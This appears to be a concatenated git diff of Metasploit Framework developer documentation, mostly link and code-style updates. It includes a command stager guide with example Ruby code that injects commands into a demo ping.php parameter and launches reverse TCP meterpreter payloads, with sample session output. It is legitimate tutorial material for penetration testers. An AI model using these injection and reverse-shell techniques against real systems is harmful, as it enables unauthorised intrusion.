* **[send\_request\_raw](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#send_request_raw-instance_method)** - You use this to send a raw HTTP request. Usually, you will want this method if you need something that violates the specification; in most other cases, you should prefer `send_request_cgi`. If you wish to learn about how this method works, look at the documentation for [`Rex::Proto::Http::Client#request_raw`](https://docs.metasploit.com/api/Rex/Proto/Http/Client.html#request_raw-instance_method).
|
||||
|
||||
Here's a basic example of how to use `send_request_raw`:
|
||||
|
||||
```ruby
|
||||
send_request_raw({'uri'=>'/index.php'})
|
||||
```
|
||||
|
||||
* **[send\_request\_cgi](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_cgi-instance_method)** - You use this to send a more CGI-compatible HTTP request. If your request contains a query string (or POST data), then you should use this. If you wish to learn about how this method works, check out [`Rex::Proto::Http::Client#request_cgi`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_cgi-instance_method).
|
||||
* **[send\_request\_cgi](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#send_request_cgi-instance_method)** - You use this to send a more CGI-compatible HTTP request. If your request contains a query string (or POST data), then you should use this. If you wish to learn about how this method works, check out [`Rex::Proto::Http::Client#request_cgi`](https://docs.metasploit.com/api/Rex/Proto/Http/Client.html#request_cgi-instance_method).
|
||||
|
||||
|
||||
|
||||
@@ -31,7 +31,7 @@ send_request_cgi({
|
||||
|
||||
## Cookies & CookieJars
|
||||
|
||||
Part of send\_request\_cgi functionality is the ability to collect, edit, and send cookies via the HttpClient's `cookie_jar` variable, an instance of the [HttpCookieJar](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie_jar.rb) class.
|
||||
Part of send\_request\_cgi functionality is the ability to collect, edit, and send cookies via the HttpClient's `cookie_jar` variable, an instance of the [HttpCookieJar](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie_jar.rb) class.
|
||||
|
||||
A HttpCookieJar is a collection of [HttpCookie](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie.rb). The Jar can be populated manually with it's `add` method, or automatically via the `keep_cookies` option that can be passed to [send\_request\_cgi](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/lib/msf/core/exploit/remote/http_client.rb#L385).
|
||||
|
||||
@@ -59,7 +59,7 @@ res = @http_client.send_request_cgi({
|
||||
}
|
||||
})
|
||||
```
|
||||
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
|
||||
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
|
||||
|
||||
### `cookie` option
|
||||
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
|
||||
@@ -136,7 +136,7 @@ register_options(
|
||||
)
|
||||
```
|
||||
|
||||
**2** - Load your TARGETURI with [`target_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#target_uri-instance_method), that way the URI input validation will kick in, and then you get a real `URI` object:
|
||||
**2** - Load your TARGETURI with [`target_uri`](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#target_uri-instance_method), that way the URI input validation will kick in, and then you get a real `URI` object:
|
||||
|
||||
In this example, we'll just load the path:
|
||||
|
||||
@@ -144,7 +144,7 @@ In this example, we'll just load the path:
|
||||
uri = target_uri.path
|
||||
```
|
||||
|
||||
**3** - When you want to join another URI, always use [`normalize_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#normalize_uri-instance_method):
|
||||
**3** - When you want to join another URI, always use [`normalize_uri`](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#normalize_uri-instance_method):
|
||||
|
||||
Example:
|
||||
|
||||
@@ -164,8 +164,6 @@ Please note: The `normalize_uri` method will always follow these rules:
|
||||
## Full Example
|
||||
|
||||
```ruby
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
+1
-1
@@ -38,7 +38,7 @@ register_options(
|
||||
|
||||
### Fixed filename
|
||||
|
||||
Occasionally, you might not want your user to change the filename at all. A lazy trick to do that is by modifying the ```FILENAME``` datastore option at runtime, but this is very much not recommended. In fact, if you do this, you will not pass [msftidy](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). Instead, here's how it's done properly:
|
||||
Occasionally, you might not want your user to change the filename at all. A lazy trick to do that is by modifying the ```FILENAME``` datastore option at runtime, but this is very much not recommended. In fact, if you do this, you will not pass [[msftidy|./Guidelines-for-Accepting-Modules-and-Enhancements.md]]. Instead, here's how it's done properly:
|
||||
|
||||
1 - Deregister the ```FILENAME``` option
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ DEPRECATION_REPLACEMENT = 'exploit/linux/http/dlink_upnp_exec_noauth'
|
||||
|
||||
When the user loads that module, they should see a warning like this:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf > use exploit/windows/misc/test
|
||||
|
||||
[!] ************************************************************************
|
||||
@@ -48,8 +48,6 @@ msf > use exploit/windows/misc/test
|
||||
## Code example
|
||||
|
||||
```ruby
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
@@ -58,23 +56,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
deprecated(Date.new(2014, 9, 21), 'exploit/linux/http/dlink_upnp_exec_noauth')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Msf::Module::Deprecated Example',
|
||||
'Description' => %q{
|
||||
This shows how to use Msf::Module::Deprecated.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
|
||||
'DisclosureDate' => 'Apr 01 2014',
|
||||
'Targets' => [ [ 'Automatic', { } ] ],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Msf::Module::Deprecated Example',
|
||||
'Description' => %q{
|
||||
This shows how to use Msf::Module::Deprecated.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
|
||||
'DisclosureDate' => '2014-04-01',
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_debug("Code example")
|
||||
print_debug('Code example')
|
||||
end
|
||||
|
||||
end
|
||||
```
|
||||
```
|
||||
|
||||
@@ -2,7 +2,7 @@ This is an update of the original blog post about how to get Oracle support work
|
||||
|
||||
Due to licensing issues, we cannot ship Oracle's proprietary client access libraries by default. As a result, you may see this error when running a Metasploit module:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf auxiliary(oracle_login) > run
|
||||
|
||||
[-] Failed to load the OCI library: cannot load such file -- oci8
|
||||
@@ -11,7 +11,7 @@ msf auxiliary(oracle_login) > run
|
||||
msf auxiliary(oracle_login) > run
|
||||
```
|
||||
or
|
||||
```
|
||||
```msf
|
||||
msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
|
||||
|
||||
[-] Failed to load the OCI library: cannot load such file -- oci8
|
||||
@@ -159,4 +159,4 @@ install oci8.rb /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
|
||||
[...]
|
||||
<--- ext
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7#
|
||||
```
|
||||
```
|
||||
|
||||
+1
-1
@@ -2,4 +2,4 @@
|
||||
|
||||
I tricked you. We don't let anybody write Meterpreter scripts anymore, therefore we will no longer teach you how.
|
||||
|
||||
[You should try writing post modules instead](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-a-post-module).
|
||||
[[You should try writing post modules instead|./How-to-get-started-with-writing-a-post-module.md]].
|
||||
@@ -32,7 +32,7 @@ So you know how in Lord of the Rings, people are totally obsessed with the One R
|
||||
|
||||
You can use the ```session``` method to access the session object, or its alias ```client```. The best way to interact with one is via irb, here's an example of how:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse handler on 192.168.1.64:4444
|
||||
|
||||
+22
-20
@@ -53,19 +53,20 @@ Here's the most basic example of an auxiliary module. We'll explain a bit more a
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Module name',
|
||||
'Description' => %q{
|
||||
Say something that the user might want to know.
|
||||
},
|
||||
'Author' => [ 'Name' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Module name',
|
||||
'Description' => %q{
|
||||
Say something that the user might want to know.
|
||||
},
|
||||
'Author' => [ 'Name' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
@@ -89,21 +90,22 @@ Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you wa
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Module name',
|
||||
'Description' => %q{
|
||||
Say something that the user might want to know.
|
||||
},
|
||||
'Author' => [ 'Name' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Module name',
|
||||
'Description' => %q{
|
||||
Say something that the user might want to know.
|
||||
},
|
||||
'Author' => [ 'Name' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
@@ -15,7 +15,7 @@ msf > irb
|
||||
By default, all the log errors are on level 0 - the least informative level. But of course, you can change this by setting the datastore option, like this:
|
||||
|
||||
|
||||
```
|
||||
```msf
|
||||
msf > setg LogLevel 3
|
||||
LogLevel => 3
|
||||
msf >
|
||||
|
||||
+2
-2
@@ -1,9 +1,9 @@
|
||||
**Note: This documentation may need to be vetted.**
|
||||
|
||||
# How to send an HTTP request using Rex::Proto::Http::Client
|
||||
The Rex library (Ruby Extension Library) is the most fundamental piece of the Metasploit Framework architecture. Modules normally do not interact with Rex directly, instead they depend on the framework core and its mixins for better code sharing. If you are a Metasploit module developer, the [lib/msf/core](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core) directory should be more than enough for most of your needs. If you are writing a module that speaks HTTP, then the [Msf::Exploit::Remote::HttpClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient) mixin (which is found in [lib/msf/core/exploit/http/client](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/client.rb)) is most likely the one you want.
|
||||
The Rex library (Ruby Extension Library) is the most fundamental piece of the Metasploit Framework architecture. Modules normally do not interact with Rex directly, instead they depend on the framework core and its mixins for better code sharing. If you are a Metasploit module developer, the [lib/msf/core](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core) directory should be more than enough for most of your needs. If you are writing a module that speaks HTTP, then the [[Msf::Exploit::Remote::HttpClient|./How-to-Send-an-HTTP-Request-Using-HttpClient.md]] mixin (which is found in [lib/msf/core/exploit/http/client](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/client.rb)) is most likely the one you want.
|
||||
|
||||
However, in some scenarios, you actually can't use the HttpClient mixin. The most common is actually when writing a form-based login module using the [LoginScanner API](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners). If you find yourself in that situation, use [Rex::Proto::Http::Client](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client.rb).
|
||||
However, in some scenarios, you actually can't use the HttpClient mixin. The most common is actually when writing a form-based login module using the [[LoginScanner API|./Creating-Metasploit-Framework-LoginScanners.md]]. If you find yourself in that situation, use [Rex::Proto::Http::Client](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client.rb).
|
||||
|
||||
## Initializing Rex::Proto::Http::Client
|
||||
|
||||
|
||||
+1
-1
@@ -1,5 +1,5 @@
|
||||
# How to use Msf::Auxiliary::AuthBrute to write a bruteforcer
|
||||
The ```Msf::Auxiliary::AuthBrute``` mixin should no longer be used to write a login module, you should try our [LoginScanner API](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners) instead. However, some of the datastore options are still needed, so let's go over them right quick.
|
||||
The ```Msf::Auxiliary::AuthBrute``` mixin should no longer be used to write a login module, you should try our [[LoginScanner API|./Creating-Metasploit-Framework-LoginScanners.md]] instead. However, some of the datastore options are still needed, so let's go over them right quick.
|
||||
|
||||
### Regular options
|
||||
|
||||
|
||||
@@ -53,6 +53,6 @@ Check out the other advanced options in the API documentation below.
|
||||
|
||||
### References
|
||||
|
||||
- <https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Powershell.html>
|
||||
- <https://docs.metasploit.com/api/Msf/Exploit/Powershell.html>
|
||||
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/powershell.rb>
|
||||
- <https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/powershell/powerdump.ps1>
|
||||
|
||||
@@ -6,7 +6,7 @@ In this documentation, understand that we require you no exploit development kno
|
||||
|
||||
Each Metasploit module comes with some metadata that explains what it's about, and to see that you must load it first. An example:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf > use exploit/windows/smb/ms08_067_netapi
|
||||
```
|
||||
|
||||
@@ -20,11 +20,11 @@ This may sound surprising, but sometimes we get asked questions that are already
|
||||
|
||||
* **Which ones have been tested**: When a module is developed, usually the exploit isn't tested against every single setup if there are too many. Usually the developers will just try to test whatever they can get their hands on. So if your target isn't mentioned here, keep in mind there is no guarantee it's going to work 100%. The safest thing to do is to actually recreate the environment your target has, and test the exploit before hitting the real thing.
|
||||
|
||||
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [check command](How-to-write-a-check-method.md), because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
|
||||
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [[check command|How-to-write-a-check-method.md]], because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
|
||||
|
||||
You can use the info command to see the module's description:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(ms08_067_netapi) > info
|
||||
```
|
||||
|
||||
@@ -36,13 +36,13 @@ If the exploit supports automatic targeting, it is always the first item on the
|
||||
|
||||
The "show options" command will tell you which target is selected. For example:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(ms08_067_netapi) > show options
|
||||
```
|
||||
|
||||
The "show targets" command will give you a list of targets supported:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(ms08_067_netapi) > show targets
|
||||
```
|
||||
|
||||
@@ -50,13 +50,13 @@ msf exploit(ms08_067_netapi) > show targets
|
||||
|
||||
All Metasploit modules come with most datastore options pre-configured. However, they may not be suitable for the particular setup you're testing. To do a quick double-check, usually the "show options" command is enough:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(ms08_067_netapi) > show options
|
||||
```
|
||||
|
||||
However, "show options" only shows you all the basic options. It does not show you the evasive or advanced options (try "show evasion" and "show advanced"), the command you should use that shows you all the datastore options is actually the "set" command:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(ms08_067_netapi) > set
|
||||
```
|
||||
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
Command stagers provide an easy way to write exploits against typical vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection). There are currently 14 different flavors of command stagers, each uses system command (or commands) to save your payload, sometimes decode, and execute.
|
||||
If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
|
||||
|
||||
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
|
||||
|
||||
# The Vulnerability Test Case
|
||||
|
||||
@@ -85,7 +87,7 @@ An example of setting flavors for a specific target:
|
||||
]
|
||||
```
|
||||
|
||||
Or, you can pass this info to the `execute_cmdstager` method (see Call #execute_cmdstager to begin).
|
||||
Or, you can pass this info to the `execute_cmdstager` method (see Step 4 to begin).
|
||||
|
||||
```ruby
|
||||
execute_cmdstager(flavor: :vbs)
|
||||
@@ -96,11 +98,62 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
|
||||
|
||||
**3. Create the execute_command method**
|
||||
|
||||
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is what gets called by the CmdStager mixin when it kicks in. Your objective in this method is to inject whatever is in the ```cmd``` variable to the vulnerable code.
|
||||
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
|
||||
|
||||
**4. Call #execute_cmdstager to begin**
|
||||
**4. Decide on the supported payloads**
|
||||
|
||||
And lastly, in your exploit method, call ```execute_cmdstager``` to begin the command stager.
|
||||
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
|
||||
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
|
||||
|
||||
Here is an example targets section from a command injection module:
|
||||
|
||||
```
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
|
||||
'RPORT' => 9000
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux (Dropper)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X64],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
|
||||
'Type' => :linux_dropper
|
||||
}
|
||||
],
|
||||
|
||||
```
|
||||
|
||||
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
|
||||
|
||||
**4. Executing a payload**
|
||||
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
|
||||
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
|
||||
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
|
||||
|
||||
```ruby
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You don’t need to worry about encoding the payload in your ```execute_command``` method.
|
||||
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
|
||||
|
||||
Over the years, we have also learned that these options are quite handy when calling
|
||||
`execute_cmdstager`:
|
||||
@@ -119,22 +172,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Command Injection Using CmdStager",
|
||||
'Description' => %q{
|
||||
This exploits a command injection using the command stager.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
|
||||
'Platform' => 'linux',
|
||||
'Targets' => [ [ 'Linux', {} ] ],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'CmdStagerFlavor' => [ 'printf' ],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "2016-06-10",
|
||||
'DefaultTarget' => 0))
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Command Injection Using CmdStager',
|
||||
'Description' => %q{
|
||||
This exploits a command injection using the command stager.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
|
||||
'Platform' => 'linux',
|
||||
'Targets' => [ [ 'Linux', {} ] ],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'CmdStagerFlavor' => [ 'printf' ],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2016-06-10',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
@@ -142,7 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Exploiting...")
|
||||
print_status('Exploiting...')
|
||||
execute_cmdstager
|
||||
end
|
||||
|
||||
@@ -158,7 +215,7 @@ Now let's modify the `execute_command` method and get code execution against the
|
||||
127.0.0.1+%26%26+[Malicious commands]
|
||||
```
|
||||
|
||||
We do that in `execute_command` using [HttpClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient). Notice there is actually some bad character filtering involved to get the exploit working correctly, which is expected:
|
||||
We do that in `execute_command` using [[HttpClient|./How-to-Send-an-HTTP-Request-Using-HttpClient.md]]. Notice there is actually some bad character filtering involved to get the exploit working correctly, which is expected:
|
||||
|
||||
```ruby
|
||||
def filter_bad_chars(cmd)
|
||||
@@ -167,19 +224,21 @@ def filter_bad_chars(cmd)
|
||||
cmd.gsub!(/ /, '+')
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/ping.php',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
|
||||
def execute_command(cmd, _opts = {})
|
||||
send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/ping.php',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Exploiting...")
|
||||
print_status('Exploiting...')
|
||||
execute_cmdstager
|
||||
end
|
||||
```
|
||||
@@ -187,10 +246,10 @@ end
|
||||
And let's run that, we should have a shell:
|
||||
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(cmdstager_demo) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.6.0.92:4444
|
||||
[*] Started reverse TCP handler on 10.6.0.92:4444
|
||||
[*] Exploiting...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 10.6.0.92
|
||||
@@ -223,7 +282,7 @@ Available flavors:
|
||||
|
||||
The [VBS command stager](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb) is for Windows. What this does is it encodes our payload with Base64, save it on the target machine, also writes a [VBS script](https://github.com/rapid7/rex-exploitation/blob/master/data/exploits/cmdstager/vbs_b64) using the echo command, and then lets the VBS script to decode the Base64 payload, and execute it.
|
||||
|
||||
If you are exploiting Windows that supports Powershell, then you might want to [consider using that instead](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit) of the VBS stager, because Powershell tends to be more stealthy.
|
||||
If you are exploiting Windows that supports Powershell, then you might want to [[consider using that instead|./How-to-use-Powershell-in-an-exploit.md]] of the VBS stager, because Powershell tends to be more stealthy.
|
||||
|
||||
To use the VBS stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ option, which can be set by using the `setg` command. Module-level means only th
|
||||
remembers that datastore option, no other components will know about it. You are setting a module-level option if you
|
||||
load a module first, and then use the `set` command, like the following:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf > use exploit/windows/smb/ms08_067_netapi
|
||||
msf exploit(ms08_067_netapi) > set rhost 10.0.1.3
|
||||
rhost => 10.0.1.3
|
||||
@@ -238,34 +238,34 @@ from the module's metadata, and update again.
|
||||
Here's an example of an exploit module's initialize portion with the DefaultOptions key:
|
||||
|
||||
```ruby
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Module name",
|
||||
'Description' => %q{
|
||||
This is an example of setting the default value of RPORT using the DefaultOptions key
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Name' ],
|
||||
'References' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Module name',
|
||||
'Description' => %q{
|
||||
This is an example of setting the default value of RPORT using the DefaultOptions key
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Name' ],
|
||||
'References' => [
|
||||
[ 'URL', '' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
[ 'Windows', { 'Ret' => 0x41414141 } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Payload' => {
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8080
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "",
|
||||
'DefaultTarget' => 0))
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
end
|
||||
```
|
||||
|
||||
|
||||
@@ -27,13 +27,14 @@ OPTIONS:
|
||||
-c Clear the contents of the favorite modules file
|
||||
-d Delete module(s) or the current active module from the favorite modules file
|
||||
-h Help banner
|
||||
-l Print the list of favorite modules (alias for `show favorites`)
|
||||
```
|
||||
|
||||
|
||||
|
||||
The second method of adding favorites allows adding multiple modules at once:
|
||||
|
||||
```shell
|
||||
```msf
|
||||
msf6 > favorite exploit/multi/handler exploit/windows/smb/psexec
|
||||
[+] Added exploit/multi/handler to the favorite modules file
|
||||
[+] Added exploit/windows/smb/psexec to the favorite modules file
|
||||
@@ -72,7 +73,7 @@ msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec
|
||||
|
||||
#### Clearing the favorites list
|
||||
|
||||
```shell
|
||||
```msf
|
||||
msf6 > show favorites
|
||||
|
||||
Favorites
|
||||
@@ -89,3 +90,18 @@ msf6 > show favorites
|
||||
[!] The favorite modules file is empty
|
||||
```
|
||||
|
||||
### Printing the list of favorite modules
|
